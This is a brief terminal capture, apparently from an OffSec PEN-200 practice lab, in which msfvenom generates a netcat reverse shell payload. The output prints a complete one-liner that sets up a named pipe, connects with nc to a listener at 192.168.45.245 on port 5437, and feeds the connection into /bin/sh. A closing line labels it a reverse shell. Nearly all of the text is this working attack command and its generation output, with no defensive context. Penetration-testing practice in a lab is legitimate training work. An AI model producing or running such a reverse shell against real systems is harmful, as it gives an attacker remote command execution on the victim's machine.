msfvenom
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/nibbles_offsec]
└─$ msfvenom -p cmd/unix/reverse_netcat LHOST=$tun0 LPORT=5437
[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder specified, outputting raw payload
Payload size: 100 bytes
mkfifo /tmp/inkzce; nc 192.168.45.245 5437 0</tmp/inkzce | /bin/sh >/tmp/inkzce 2>&1; rm /tmp/inkzce
msfvenom generated a reverse shell command